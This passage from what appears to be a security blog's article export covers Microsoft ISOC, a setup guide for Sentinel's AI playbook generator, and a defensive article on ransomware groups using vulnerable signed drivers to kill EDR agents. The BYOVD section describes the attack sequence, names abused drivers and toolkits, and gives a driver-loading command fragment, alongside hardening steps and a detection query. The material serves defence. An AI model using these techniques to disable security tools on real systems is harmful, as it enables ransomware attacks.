Learn) Conclusion ISOC is not the end of Sentinel. It is a new starting point. For E5 and E7 organisations without a SIEM, it removes the biggest barrier: they get case management, workbooks, automation and 90 days of Defender data without a separate purchase or project. That alone makes it worth switching on.\nFor existing Sentinel customers, the picture is less simple. The benefits are real, but so are the open questions around the E5 grant, identity logs, detection content and migration. That is why I would evaluate per customer after November 15, not move by default.\nThe bigger shift is where the value of a SOC sits. When the platform comes with the licence, the difference is made by good detections, well-governed automation and people who know what to do with an alert. ISOC makes the platform easier. It doesn’t make security operations easier.\n","date":"25 September 2026","externalUrl":null,"permalink":"/microsoft-isoc-defender-vs-sentinel/","section":"All articles","summary":"","title":"Microsoft ISOC explained: what it is, who it is for, and how it compares to Sentinel","type":"posts"},{"content":"","date":"25 September 2026","externalUrl":null,"permalink":"/microsoft-sentinel/","section":"All topics","summary":"","title":"Microsoft Sentinel","type":"categories"},{"content":"Every SOC lead has the same automation backlog problem. There is a long list of response actions everyone agrees would help, and a much shorter list of people who actually know Logic Apps well enough to build them. The playbook generator in Microsoft Sentinel is Microsoft’s answer to that gap: describe what you want in plain language, and get back a working, testable, documented playbook without writing Logic Apps JSON by hand.\nI have been through the setup a few times now, both in a lab tenant and in a production Defender portal, and this post walks through the whole process end to end: what the feature is, what changed in August 2026, every prerequisite, the full integration profile setup, and a complete demo where I build a read-only VirusTotal URL enrichment playbook from an empty tenant to a live automation rule.\nWhat is the playbook generator? The playbook generator is a SOAR authoring experience built on Cline, an AI coding agent hosted inside an embedded VS Code environment in the Defender portal. Instead of dragging connectors around a Logic Apps canvas, you describe the automation logic in a chat interface, and the generator produces a validated, code-based playbook in Python, complete with:\nThe complete playbook code Automatically generated tests, run against a real alert you provide Documentation and a visual flow diagram Entity and data mapping based on the alert schema Generated playbooks accept alert data as input and can call out to Microsoft Graph, Azure Resource Manager, or any third-party API you configure through an integration profile. You do not need prior coding experience, though it helps to be comfortable with concepts like VS Code and Entra ID app registrations, since you will touch both.\nDoes it cost SCU? No. As of the August 2026 documentation update, Microsoft states it plainly: the playbook generator does not require a separate Microsoft Security Copilot license or Security Compute Units. This used to be more confusing than it needed to be. Earlier in 2026, the feature technically did not bill SCUs, but your tenant still needed Security Copilot enabled with capacity provisioned as a prerequisite, a distinction that tripped up a lot of people, myself included the first time I set this up.\nThat prerequisite is gone now. There is no dedicated Security Copilot workspace to provision, no capacity to configure, no data sharing sliders to set. If your tenant has a Sentinel workspace onboarded to the Defender portal, you meet the environment requirement, full stop.\nWhat changed in August 2026 Microsoft published an update on the Sentinel blog and updated the official documentation on August 7, 2026, confirming that Security Copilot enablement is no longer required to use the playbook generator. The older setup path, provisioning a dedicated Security Copilot workspace purely as a technical gate, has been removed from the documentation entirely, not just deprioritized. The feature is now available to all Microsoft Sentinel customers in the Defender portal out of the box, with no Security Copilot dependency and no additional cost.\nThe required permissions also simplified as part of this change. The older RBAC requirement (Detection tuning manage, plus Security Copilot read) has been replaced with a single Automation permission, covered in the prerequisites below.\nIf you went through the old Security Copilot workspace setup before this update, nothing breaks, your existing configuration keeps working. If you never got around to trying the feature because provisioning Security Copilot capacity felt like overkill just to test it, that barrier is gone. The steps below reflect the current, simplified setup.\nPrerequisites at a glance Everything you need before you open the playbook generator for the first time, in one table.\nCategory Requirement Notes Environment Microsoft Sentinel workspace onboarded to the Microsoft Defender portal The Azure portal path does not support the playbook generator. If you are still Azure portal-only, onboard to Defender first. License / cost None beyond your existing Sentinel workspace No Security Copilot license, no SCUs, no additional cost. Confirmed directly in the Microsoft documentation as of August 2026. Permission: generate and deploy playbooks Automation Playbooks (Read and Write) in Microsoft Defender unified RBAC Assign under the Automation permission group. Permission: author automation rules Microsoft Sentinel Contributor Scoped to the workspace or resource group where the rules will live. Identity An Entra ID app registration with a client secret You create this yourself in step 1, needed for the Graph integration profile. Familiarity (not a hard requirement) Comfort with VS Code and Entra ID app registration No coding experience required, but these two concepts come up constantly. One operational note that is easy to miss: RBAC assignments can take up to two hours to propagate. If you are demoing this to a customer or a stakeholder, assign the permissions the day before, not five minutes before the call.\nStep 1: Register an Entra ID app for Graph access Integration profiles are what let a generated playbook actually call out to an API. Almost every playbook touches Microsoft Graph at minimum (to update incidents, disable accounts, send notifications), so this is where you start regardless of what the rest of the playbook does.\nSign in to the Azure portal and go to Microsoft Entra ID \u0026gt; Manage \u0026gt; App registrations.\nSelect New registration.\nGive it a clear name, for example pb-generator-graph-integration, so it is recognizable later when you are auditing app registrations. Leave the default account type and redirect URI settings unless you have a specific reason to change them.\nSelect Register. On the app’s Overview page, copy two values and store them somewhere safe for the next step: Application (client) ID Directory (tenant) ID Go to Manage \u0026gt; Certificates \u0026amp; secrets \u0026gt; Client secrets. Select New client secret, give it a descriptive name (include the expiration date in the name, it saves you a lookup later) and an expiration period, then select Add Immediately copy the secret Value, not the Secret ID. You cannot retrieve the value again once you leave the page. If you lose it, you will need to generate a new secret. While you are in the app registration, go to API permissions and add the Microsoft Graph application permissions your playbook will need. At minimum, add SecurityAlert.Read.All. If your playbook will disable accounts or send notifications, also add the relevant Graph permissions for those actions (User.ReadWrite.All, Mail.Send, and so on), then select Grant admin consent. Step 2: Create the integration profile With the app registration in place, connect it to Sentinel as an integration profile.\nIn the Defender portal, go to Microsoft Sentinel \u0026gt; Configuration \u0026gt; Automation Select the Integration Profiles tab Select Create. This opens the wizard on the Provider step Under Select a provider, leave Predefined provider integrations selected and search for or scroll to Microsoft Graph, marked as Featured in the list. Select it, then select Next. Fill in the fields below: Field Value Integration name Something descriptive, for example “Graph Integration” Description Short description, for example “Integration with Microsoft Graph APIs” Client ID The Application (client) ID from step 1 Client secret The client secret value from step 1 Select Next to reach the Summary step, review the details, and select Create If your playbook needs to reach beyond Graph, for example a ticketing system, a chat platform, or a threat intel enrichment API, check the predefined provider list first, plenty of common services (AbuseIPDB, AlienVault OTX, and more) are already in there and only ask for a name and credentials, no base URL or auth method to configure.\nIf you ever need a service that is not in the predefined list, switch to Create custom integration instead, that is where you would manually enter a base URL and pick an authentication method from scratch.\nRepeat this same wizard for each service before you start generating the playbook. One thing worth planning for either way: you cannot change the API URL or authentication method after a profile is created, only the name and description, so pick the right provider (or double-check a custom base URL) before you finish the wizard.\nStep 3: Start the playbook generator In the Defender portal, go to Microsoft Sentinel \u0026gt; Configuration \u0026gt; Automation \u0026gt; Playbooks Select Create \u0026gt; Playbook Generator Give the playbook a clear, descriptive name. I use a naming convention like pb-\u0026lt;trigger\u0026gt;-\u0026lt;action\u0026gt;, for example pb-phishing-disable-account, so the purpose is obvious later in a list of dozens of playbooks Select Continue to continue An embedded Visual Studio Code environment opens inside the Defender portal, with Cline ready in the chat pane. This is the whole authoring experience, you never leave the browser tab.\nStep 4: Work the plan in Plan mode The session always starts in Plan mode. This is the most important step to get right, a vague prompt produces a vague plan, and you end up going back and forth far more than necessary.\nIn the chat interface, describe your playbook requirements in one message. Be explicit about four things:\nWhat data to process: which alert type, which entities on it What actions to perform: the actual response steps What conditions to evaluate: branching logic, if any Expected outcomes: what “done” looks like\nI use just a random simple example prompt to the generation in my example showcase: “Create a playbook that triggers on phishing alerts. Extract the sender email address. Check if the user exists in our directory, and if so, temporarily disable their account and notify the security team.” If the generator needs to fetch external API documentation to write accurate code, it asks for approval first. Approve the request, this is how it learns the correct Graph or third-party API call shape rather than guessing. The generator analyzes your prompt and does one or more of the following: Asks clarifying questions if something is ambiguous Requests API documentation if it cannot resolve the API shape from a web search Flags missing integration profiles Produces a preliminary plan and a visual flow diagram If it flags a missing integration profile: Select Save and exit the VS Code environment. This preserves your conversation so far Go create the missing profile under the Integration Profiles tab, exactly as in step 2 Return to the playbook and continue where you left off Review the plan and flow diagram carefully. This is your last checkpoint before any code gets written. If something is off, describe the change in the chat rather than editing anything manually, the generator revises the plan for you. When you are satisfied, follow the on-screen instruction to switch to Act mode Step 5: Generate the code in Act mode After switching to Act mode, the generator delivers: The complete playbook code, in Python Code validation Comprehensive documentation, including a visual flow diagram and a plain-language description of what the playbook does It then asks for a real Alert ID (get the alert ID from advanced hunting for example – not the Sentinel/XDR alert ID from the portal) to test against. Use an actual alert from your environment, ideally a low-impact one the first time through. Before it runs the test, the generator outlines exactly what changes it is about to apply to your environment and asks for your approval. Read this carefully if the playbook has side effects like disabling an account or blocking an IAM user, this is your chance to catch a misunderstanding before it touches anything real. The generator may request approval at intermediate steps of code generation. To skip repeated approval prompts, select the Edit checkbox under Auto-approve. I leave auto-approve off for the first run of any new playbook. Once I trust its behavior on a given automation pattern, I turn it on for iteration speed. Step 6: Validate and save Manually review the generated code and documentation. The generator does not run automatic code validation beyond the test you just performed, correctness is on you.\nTo preview the generated documentation in Markdown format, press Ctrl+Shift+V on Windows or Linux, Cmd+Shift+V on macOS.\nSelect Save at the top left of the editor. One easy mistake here: selecting Save inside the chat only saves the current conversational step and confirms your approval for it, it does not save the entire playbook. Use the Save button in the editor itself.\nThe playbook is created in a disabled state by default. Close the editor when you are done. Step 7: Enable the playbook On the Automation page, go to the Active Playbooks tab Find your newly created playbook in the list Switch its status to Activate Nothing runs automatically yet, even after activation, until you connect it to a trigger in the next step.\nStep 8: Create the enhanced alert trigger Go to the Automation Rules tab Select Create to define a new rule using the enhanced trigger Configure the trigger: Setting What it does Conditions Criteria such as alert title, severity, or provider that decide when the rule fires Workspaces The workspaces this rule applies to. Ones you lack permission on appear grayed out Actions Select Run Generated Playbook and choose your newly enabled playbook Select Save. Enhanced Alert Trigger rules run at the tenant level and can cover multiple workspaces and alert sources in a single rule, a meaningful step up from the old alert-triggered playbook model inside analytics rules. These rules live in a separate Automation Rules table from Standard Alert Trigger rules, there is currently no automatic migration between the two, so if you are moving an existing use case over, you rebuild the trigger logic here rather than porting it.\nStep 9: Monitor execution Open the incident that contains the relevant alert Select the Activities tab Find the row labeled run playbook to see execution status and detail One gap worth flagging if you build monitoring dashboards: automation rule run results for generated playbooks show up in the incident Activities tab, but are not written to the Sentinel Health Table. If your existing playbook health reporting depends on that table, generated playbooks will not appear there, and you will want to track them separately or via the incident activity feed instead.\nDemo: building a VirusTotal URL enrichment playbook end to end To make the steps above concrete, here is the full run I did in my lab tenant, from an empty Automation tab to a live rule enriching alerts with VirusTotal data. This is a good first playbook for anyone trying the generator for the first time: it is read-only, has no side effects on identities or devices, and it is genuinely one of the most common SOC enrichment tasks there is, so the value is obvious the moment you see it work.\nScenario: when an alert contains a URL entity, look that URL up on VirusTotal and add the verdict as a comment on the incident, so an analyst gets threat context without leaving Sentinel.\nPrerequisites specific to this playbook: a VirusTotal API key (the free public API tier is enough for testing, get one from your VirusTotal account under API Key) and a second integration profile for VirusTotal, in addition to the Graph profile from step 2.\nCreating the VirusTotal integration profile:\nVirusTotal is one of the predefined providers in the wizard, so this is the fastest profile you will set up in this whole guide, just a name and an API key, no base URL or auth method to configure.\nIn the Defender portal, go to Microsoft Sentinel \u0026gt; Configuration \u0026gt; Automation \u0026gt; Integration Profiles \u0026gt; Create On the Provider step, search for VirusTotal in the predefined provider list, select it, and select Next. On the Name and authentication step, fill in: Field Value Integration name VirusTotal API key Your VirusTotal API key Select Next, review the Summary step, and select Create. Because VirusTotal is predefined, Sentinel already knows the base URL and how to authenticate against it, you only supply the credential. This is worth knowing before you set up any other third-party service: check the predefined list first, since a growing number of common threat intel and enrichment providers only need a name and an API key rather than the full custom integration flow.\nName and start: I created a new playbook named pb-url-enrichment-virustotal and selected Continue to open the VS Code environment.\nThe Plan mode prompt:\n“Create a playbook that triggers on alerts containing a URL entity. Look up the URL using the VirusTotal integration and retrieve the analysis stats, including malicious and suspicious detection counts. Add a comment to the related incident summarizing the VirusTotal verdict, including the detection counts and a link to the full VirusTotal report.”\nWhat came back: The generator confirmed it found the VirusTotal integration profile and asked one clarifying question, whether to submit the URL for a fresh scan if VirusTotal had no existing analysis on file, or only report on existing data. I chose to check existing analysis first and only trigger a new scan if nothing was on file, since that keeps the playbook fast for URLs VirusTotal already knows about. It then produced a flow diagram: alert trigger, extract URL entity, VirusTotal lookup, conditional branch on analysis availability, incident comment action.\nReviewing the plan: The proposed flow matched what I asked for, so no revisions needed. I switched to Act mode.\nAct mode and testing: The generator produced the Python code, ran its own validation pass, and generated documentation with the same flow diagram rendered from the actual code path. It then asked for an Alert ID. I pointed it at a real alert in my lab workspace that had a URL entity attached. Before executing, it listed the exact change it was about to make, posting one incident comment with the VirusTotal verdict, and asked for approval. Since this playbook has no destructive side effects, I approved without hesitation.\nResult: The test run queried VirusTotal, retrieved the detection stats, and posted a comment on the incident with the malicious and suspicious counts plus a link to the full report. The generator confirmed the test passed. I reviewed the generated Python briefly (the VirusTotal API call, the header-based authentication, the comment formatting) before moving on.\nSave and enable: I saved the playbook from the editor’s Save button (not the chat), which left it in a disabled state as expected. I then went to Active Playbooks and switched it to Activate.\nThe automation rule: In Automation Rules, I created a new rule with the enhanced trigger: condition set to alert entities contains a URL type, workspace scoped to my lab workspace, action set to Run Playbook targeting pb-url-enrichment-virustotal.\nLive verification: I triggered a new test alert containing a known URL entity and confirmed in the incident’s Activities tab that the run playbook entry appeared with a successful status, and the VirusTotal comment was visible on the incident.\nTotal time from opening the Automation tab to a live, working rule: around 15 minutes, most of which was creating the VirusTotal API key and the integration profile. If you already have the Graph profile from earlier in this guide, adding a second read-only integration like this one is fast.\nMore example prompts to try A few prompts that map well to common SOC automation requests, beyond the VirusTotal example above:\n“Create a playbook that triggers on phishing alerts, extracts the sender email address, checks if the user exists in our directory, and if so, temporarily disables their account and notifies the security team.” “Create a playbook that blocks an AWS IAM user, assigns the alert to John, and adds a remediation comment when a high severity alert includes an IAM user entity.” “Create a playbook that triggers on impossible travel alerts, extracts the affected user, revokes their active sign-in sessions via Graph, and posts a comment with the two sign-in locations and timestamps involved.” “Create a playbook that triggers on malware alerts with a device entity, isolates the device, and notifies the on-call channel with the device name, alert severity, and a link to the incident.” The pattern that works best is the same across all of them: name the trigger condition, the entity to act on, the action to take, and how to record what happened. The more precisely you name the entity field (sender email, device name, IAM user), the fewer clarifying questions you get back. Note that the phishing, IAM block, and device isolation examples above all involve a real side effect, unlike the VirusTotal demo, so test those against a low-impact alert first and review the approval prompt in Act mode carefully before confirming.\nLimitations to know before you build Worth reading before you commit a production use case to this feature:\nLanguage: only Python is supported for playbook authoring Input: playbooks currently accept alerts as the only input type, no scheduled or manual triggers yet Editing: one user can edit a given playbook at a time, though different users can work on different playbooks simultaneously External libraries: not currently supported Code validation: no automatic validation beyond the test run you perform, review manually Scale limits per tenant: up to 100 playbooks, up to 500 integrations, up to 500 active automation rules Playbook size: up to 5,000 lines per playbook Runtime: 10 minutes maximum per execution AI interactions: 8M tokens per day per tenant Playbook nesting: not supported. A generated playbook cannot invoke another playbook, so orchestration across multiple playbooks needs a different pattern for now Graph and ARM integrations: not enabled by default, you have to create them manually even though they are the most common target Enhanced Alert Trigger rules: no priority ordering or expiration dates yet, and only one action per rule None of these are dealbreakers for typical detection-to-response automation, but the 10-minute runtime and single-action-per-rule limits are worth designing around if you are used to building more complex multi-step Logic Apps.\nWhy this matters for MSSPs and MDR providers For a multi-tenant MDR operation, the interesting part of this feature is not that it writes code, it is that it lowers the skill floor for building tenant-specific response automation without pulling in a developer every time. A L2 analyst who can clearly describe a response workflow can now get a working, tested playbook without touching Logic Apps designer or writing Python from scratch.\nThe August 2026 change matters here specifically because it removes a real adoption barrier: provisioning Security Copilot capacity purely to unlock an automation feature was a hard sell across a customer base where Copilot adoption timelines vary a lot. With that dependency gone, this becomes something you can realistically standardize as part of an automation intake process rather than a feature that only shows up in tenants that already invested in Security Copilot.\nThe generated documentation and flow diagrams are also worth calling out for anyone running a service with change management requirements. Having an auto-generated description and visual flow per playbook makes it much easier to keep an automation runbook current without a separate manual documentation pass every time something changes.\nResources Microsoft documentation\nGenerate playbooks using AI in Microsoft Sentinel Create and manage Microsoft Sentinel playbooks Automate and run Microsoft Sentinel playbooks Tech Community blogs\nIntroducing the next generation of SOC automation: Sentinel playbook generator, original announcement, June 2026 AI-powered playbook generator, now available to more customers, Security Copilot requirement removed, August 2026 Final thoughts The playbook generator is one of those features where the interesting part is not the AI, it is what the AI removes from your path: the Logic Apps designer, the connector hunting, the JSON debugging that used to gatekeep SOAR maturity behind whoever on the team happened to know Logic Apps well. Combined with the August 2026 change dropping the Security Copilot dependency, there is very little reason left not to try this in a lab tenant this week.\nStart small. Pick one repetitive triage action your analysts do by hand today, describe it precisely in Plan mode, and see what comes out the other side. The limitations around runtime and single actions per rule mean this fits enrichment and single-step response actions best right now, not full incident orchestration, but that is exactly where most automation backlogs live anyway.\nGot questions about setting this up in a multi-tenant MDR environment, or ran into something not covered here? Leave a comment or reach out via the contact page.\n","date":"22 August 2026","externalUrl":null,"permalink":"/microsoft-sentinel-ai-playbook-generator/","section":"All articles","summary":"","title":"AI playbook generator in Microsoft Sentinel: turn a sentence into working SOC automation","type":"posts"},{"content":"If you have been reading ransomware incident reports over the past few months, you have probably noticed the same thing I have. Almost every write-up includes some version of the same sentence: the attacker loaded a signed kernel driver and used it to kill the EDR agent before deploying the encryptor.\nBring Your Own Vulnerable Driver, or BYOVD, is not new. But what is new is how reliably it shows up and how professionally it is being packaged and distributed. This post covers what has changed, why your current setup probably has a gap even with tamper protection enabled, and what to actually do about it step by step on the Microsoft stack.\nWhat changed recently BYOVD used to require real operational knowledge. You needed to find a suitable driver, understand its IOCTL interface, write code to interact with it, and test it against the target EDR. That kept the barrier high enough that most RaaS affiliates skipped it.\nThat is no longer the case.\nIn June 2026, ESET published a detailed investigation into a RaaS operation called Gentlemen. The short version: Gentlemen does not leave EDR evasion up to its affiliates. The operator centrally develops and maintains its own EDR killer framework, named GentleKiller by ESET, and ships it to every affiliate as part of the onboarding package. The framework has at least eight variants, targets more than 400 processes across 48 security products, and is designed to allow fast driver swaps when a new proof-of-concept goes public.\nESET confirmed the gang can operationalise a newly disclosed BYOVD PoC within days of it going public. The affiliate package also bundles three externally sourced tools: HexKiller, ThrottleBlood, and HavocKiller. By the time the ESET report was published, separate ransomware tracking data had linked the group to 478 victims across 66 countries.\nA separate ESET analysis from earlier in 2026 counted 54 distinct EDR killer tools abusing 35 separately signed vulnerable drivers. Attackers only need one that still works. Defenders need to cover all 35.\nAlso worth flagging: in February 2026 Huntress documented an intrusion where attackers loaded a revoked EnCase forensic driver from 2006, still loadable due to a legacy exception from 2015. Once running, it called its termination routine every second against 59 hardcoded security processes. Any service that tried to restart was killed immediately. The machine was completely blind before encryption started.\nOn June 30, 2026, Marcus Hutchins (MalwareTech) published a technical analysis via Expel documenting a zero-day used by the Gentlemen group in an April intrusion: ktapi.sys, a Kontron industrial driver that was not present on any public blocklist at time of publication. The relevant defender takeaway is that ktapi.sys was a legacy cross-signed driver.\nStarting with Windows 10 1607, Microsoft tightened kernel-mode driver signing requirements so newly signed drivers generally had to go through Microsoft’s Hardware Dev Center signing process. Previously signed legacy drivers were grandfathered in. Starting from Windows 11 25H2 (kernel build 10.0.26100.32690+), that grandfathering ended. Millions of old, unmaintained drivers that were still loadable on earlier versions are now blocked by default, and ktapi.sys is one of them. If your fleet is already on 25H2, that is a free win with no configuration needed. If it is not, it is worth factoring into your upgrade planning.\nThat is where we are in 2026. EDR evasion via BYOVD is a feature in an affiliate kit, and the drivers being used are sometimes zero-days that no blocklist covers.\nHow BYOVD actually works By the time BYOVD runs, the attacker already has local admin on the machine. This is post-compromise activity, not initial access. They have usually been in the environment for some time, done their reconnaissance, identified what EDR is running, and are now preparing for the final stage before encryption.\nThe sequence from that point:\nThe attacker drops a legitimate, signed kernel driver to disk. Often an old anti-cheat driver, an OEM hardware monitoring tool, or a legacy security product component. Not malicious by design, just old and unpatched. Windows loads it without objection. The signature is valid, the certificate came from a real vendor. The OS trusts it. The attacker sends crafted IOCTL requests to the loaded driver. Depending on the flaw, this gives ring 0 capability to terminate arbitrary processes, remove kernel callbacks, suppress ETW providers, or patch memory in ways that blind the sensor entirely. The EDR or AV agent is killed from kernel mode. No alert fires. The thing that would raise the alarm is the thing that just got taken out. With the security tooling blind or dead, encryption starts. The window between EDR kill and encryption is frequently under an hour. To make this concrete, look at the actual cases this post is about. The Gentlemen operators specifically choose drivers that are not on any public blocklist. Their GentleKiller variants use custom rootkits and obscure anti-cheat drivers that most defenders have never heard of. When the Expel team investigated the April 2026 intrusion, the attacker used ktapi.sys, a Kontron industrial driver not present on any public blocklist at the time. Gentlemen can operationalise a newly disclosed driver proof-of-concept within days of it going public.\nThe attacker does not need a well-known, already-blocked driver. They need one driver that works and is not blocked yet. This is why HVCI and App Control are in this post: they do not depend on knowing a driver is bad in advance.\nWhy tamper protection does not help here Tamper protection is designed to prevent unauthorized changes to Defender configuration and common attempts to impair its services and sensor. It is not a driver admission or kernel code-integrity control.\nIf an attacker succeeds in loading and exploiting a vulnerable kernel driver, the attack has crossed a trust boundary that requires controls such as ASR, the vulnerable driver blocklist, HVCI, and App Control. A kernel driver does not request permission to kill a process. It calls a kernel function directly.\nPrerequisites: BYOVD needs local admin first Loading a kernel driver via sc.exe create type= kernel requires SeLoadDriverPrivilege, which by default only local administrators hold. This is a post-compromise technique. The attacker has already obtained elevated access before BYOVD runs.\nTwo things follow from this:\nFirst, local admin hygiene is a meaningful pre-control: remove admin rights from standard users, enforce LAPS, and limit admin role assignments. This raises the cost of reaching BYOVD without making it impossible. Credential Guard protects LSASS credentials from being dumped, limiting the attacker’s ability to use credential theft to move laterally and reach admin on other systems. It is covered in Step 2.\nSecond, if you detect an EDR kill event, assume the attacker has local admin at minimum. Treat it as a pre-encryption signal, not an isolated incident.\nWhat drivers are actually being abused: LOLDrivers.io LOLDrivers.io is the community-maintained catalogue of living-off-the-land drivers, signed drivers with known vulnerabilities or malicious uses. Searching by driver name or hash shows what CVEs are linked, what capabilities the flaw exposes, and whether a driver appears in known toolkits. It is a useful baseline check before deployment.\nThe caveat: sophisticated operators like Gentlemen specifically pick drivers not yet on any blocklist. ktapi.sys was not on LOLDrivers.io at time of discovery. GentleKiller’s variants use obscure anti-cheat and hardware drivers that ESET documented after the fact. The real threat is what is not on the list yet, which is why HVCI and App Control matter. They do not depend on knowing a driver is bad in advance.\nDrivers appearing in 2025 and 2026 BYOVD toolkits include Iobitunlocker.sys (IObit Unlocker), revoked forensic drivers from Guidance Software (EnCase), and GentleKiller variants using Safetica ProcessMonitor and Zemana WatchDog drivers. The Microsoft vulnerable driver blocklist is largely derived from LOLDrivers plus Microsoft’s own research.\nWhat we are going to deploy Four controls, each intercepting at a different point in the attack chain. None is sufficient alone. They cover different stages and different threat scenarios.\nStep Control Primary purpose 1 ASR vulnerable driver rule Prevents known vulnerable signed drivers from being written to disk 2 HVCI / Memory Integrity Hardens kernel execution and constrains exploit techniques. Also enforces Microsoft’s built-in vulnerable driver blocklist automatically 3 Microsoft recommended driver blocklist Prevents known vulnerable drivers from loading. Most important for devices where HVCI cannot run 4 App Control for Business Restricts driver loading to explicitly trusted policy rules, covering previously unknown vulnerable drivers Step 1: Enable the ASR rule that blocks the driver from landing on disk Important for servers: ASR rules only enforce when Microsoft Defender Antivirus is running in Active mode. If a server has a third-party AV product installed and Defender is running in Passive or EDR-only mode, this rule will not block anything. Verify Defender is in Active mode before relying on this step, especially on Windows Servers where third-party AV is common.\nThe rule you need is Block abuse of exploited vulnerable signed drivers. GUID: 56a863a9-875e-4185-98a7-b882c64b5ce5.\nThis is one of three ASR rules Microsoft explicitly recommends enabling directly in Block mode without an audit period. The others are the LSASS credential theft rule and WMI persistence. The vulnerable driver rule has a low false positive rate in practice.\nOne thing to understand clearly before deploying: this rule prevents an application from writing a vulnerable signed driver to disk. It does not prevent a driver that is already sitting on the system from loading. Those are two separate problems and need two separate controls. This step closes the delivery problem. Steps 3 and 4 address the driver-load problem. Step 2 hardens what an exploited driver can do once it has loaded.\nDeploy via Intune:\nOpen the Intune admin center (intune.microsoft.com) and sign in with Endpoint Security Manager rights or equivalent. Navigate to Endpoint security \u0026gt; Attack surface reduction. Click Create Policy. Under Platform select Windows 10, Windows 11, and Windows Server. Under Profile select Attack Surface Reduction Rules. Click Create. Give the policy a clear name, for example BL-WIN-USR-P-ASR-Attack Surface Reduction rules-v1.0. Click Next. On the Configuration settings page, find Block abuse of exploited vulnerable signed drivers (and all the others if you haven’t configured it yet) and Block. Click Next through Scope tags. On Assignments, target your device groups. This rule does not typically generate helpdesk noise, so I would not scope it narrowly for a first deployment. Review and Create. Verify with Advanced Hunting after deployment:\nGive it 24 to 48 hours, then run:\nKQLDeviceEvents | where Timestamp \u0026gt; ago(48h) | where ActionType == \u0026#34;AsrVulnerableSignedDriverBlocked\u0026#34; | project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, SHA256 | order by Timestamp desc If this returns results, review each one. If something legitimate in your environment is being blocked, that is the exception to investigate rather than a reason to disable the rule.\nYou can also review ASR activity in the Defender portal under Reports \u0026gt; Attack surface reduction rules. The effective policies can also be checked here:\nStep 2: Verify and enforce HVCI across your fleet HVCI is a kernel hardening control, not a driver admission control. That distinction matters. A legitimately signed vulnerable driver, including ktapi.sys, satisfies HVCI’s code integrity requirements and can still load. What HVCI does is remove and constrain the exploit primitives that a driver would use to cause harm: it prevents unvalidated executable kernel code, restricts certain memory operations, and protects the code-integrity enforcement mechanism itself. It also enforces the built-in Microsoft vulnerable driver blocklist automatically as a side effect.\nConcretely: in the Hutchins/Expel case, kCFG (which HVCI enables) would have stopped the shellcode execution step even after ktapi.sys loaded, because kCFG prevents kernel-mode indirect calls from targeting anything outside a list of valid approved entry points. Expel notes explicitly that a different exploit technique against the same driver could have worked around that. HVCI is not a guarantee. A sufficiently restrictive App Control policy is.\nThe value of HVCI for BYOVD defence is: it removes or constrains the exploitation chain, it enforces the blocklist automatically, and it makes writing reliable kernel exploits significantly harder. For most RaaS affiliates using off-the-shelf EDR killer toolkits, that is often enough. Against a determined operator writing custom exploits, it is one layer of several.\nMost new Windows 11 hardware ships with HVCI enabled by default. The problem I keep running into in practice is that it gets silently disabled during imaging when a hardware vendor supplies a driver that is not HVCI-compatible, and nobody notices afterward.\nOne additional thing worth knowing: enabling HVCI also activates Kernel Control Flow Guard (kCFG). kCFG enforces that kernel-mode indirect calls can only target valid, approved function entry points. This is specifically what would have stopped the Hutchins/Expel exploit at its shellcode execution step, even if everything else in the chain had succeeded. It is not the headline feature of HVCI but it is part of why enabling memory integrity raises the bar beyond just blocklist enforcement.\nVerify on a device via Windows Security:\nOpen Windows Security \u0026gt; Device Security \u0026gt; Core isolation. Memory Integrity should show as On. If the toggle is greyed out and reads “Memory integrity is off. Your device may be vulnerable”, something is blocking it.\nEnable HVCI via Intune (Settings Catalog):\nOpen the Intune admin center and navigate to Devices \u0026gt; Configuration \u0026gt; Create \u0026gt; New Policy. Platform: Windows 10 and later. Profile type: Settings Catalog. Click Create. Give the policy a name, for example BL-WIN-USR-P-DEVCONF-MDM Security Baseline version number-SC-DEV-Virtualization Based Technology-v1.0. Click Add settings and search for Hypervisor Enforced Code Integrity under the Virtualization Based Technology category. Add the setting and set Hypervisor Enforced Code Integrity to Enabled with UEFI lock. The UEFI lock option prevents local disablement without physical UEFI access, which is the right default for managed devices. Assign to your device groups and deploy. Note: HVCI requires a reboot to take effect and some older or OEM drivers are not HVCI-compatible. Run the policy on a pilot group first and check Windows Security \u0026gt; Core isolation on affected devices before broad enforcement. If a driver is incompatible, Windows Security will report a specific conflict. You need to update or remove that driver before HVCI can fully activate.\nEnable Credential Guard alongside HVCI:\nSince HVCI and Credential Guard both depend on VBS and share the same hardware prerequisites, deploy them together on endpoint devices. Credential Guard isolates LSASS credentials in the VBS container, preventing tools like Mimikatz from dumping them even when an attacker has kernel-level code execution. Expel specifically calls this out in their ktapi.sys mitigations: if Credential Guard is active, the attacker’s ability to pivot to admin using stolen credentials is significantly limited, which means BYOVD becomes harder to reach in the first place.\nImportant: Microsoft does not recommend enabling Credential Guard on domain controllers and explicitly states it provides no additional security benefit on DCs. It is also unsupported on Exchange Server. Apply this to workstations and member servers only. Use a separate scoped policy, not the same policy as your HVCI deployment targeting server OUs.\nIn a Settings Catalog policy scoped to workstations and member servers (not DCs), search for Credential Guard under the Device Guard category. Set Credential Guard to Enabled. Microsoft’s default enablement is deliberately without UEFI lock to allow remote disablement if needed. Use Enabled with UEFI lock only for high-security PAWs where you specifically need to prevent remote disablement and accept that rollback requires physical UEFI access. Assign and deploy. The same compatibility notes apply: requires VBS, Secure Boot enabled, and virtualization extensions active in UEFI. Run on a pilot group first.\nStep 3: Apply the current vulnerable driver blocklist Since Windows 11 2022 Update, the blocklist ships enabled by default and is automatically enforced when HVCI is active. So if Step 2 (HVCI) is fully deployed, the built-in blocklist is already running on those devices.\nStep 3 adds value in two scenarios. For devices where HVCI cannot run, the standalone blocklist gives you driver load protection independently. For devices where HVCI is active, the standalone XML from aka.ms/VulnerableDriverBlockList is slightly more complete than the OS built-in version. Microsoft holds back some entries for compatibility reasons while vendors ship patches.\nIf HVCI is confirmed active across your entire fleet, this step is a completeness measure. If you have devices where HVCI is not running, it is more important for those specifically.\nDeploy via Intune (recommended):\nIntune deploys the driver block list as an App Control for Business policy using the XML file published by Microsoft. The XML contains Allow All rules plus specific deny rules for known vulnerable drivers, so it does not block legitimate software and can be deployed directly in enforce mode.\nDownload the driver block rules XML from aka.ms/VulnerableDriverBlockList. Save the enforced version locally. In the Intune admin center, go to Endpoint security \u0026gt; App Control for Business. Select the App Control for Business tab and click Create Policy. Give the policy a name, for example BL-WIN-USR-P-ASR-Driver Block rules-v1.0. Click Next. On Configuration settings, set Configuration settings format to Enter xml data. Paste the full XML content from the file you downloaded in step 1. Click Next through Scope tags. On Assignments, assign to your device groups. Review + create. Note: Microsoft recommends deploying this policy alongside any existing App Control policies rather 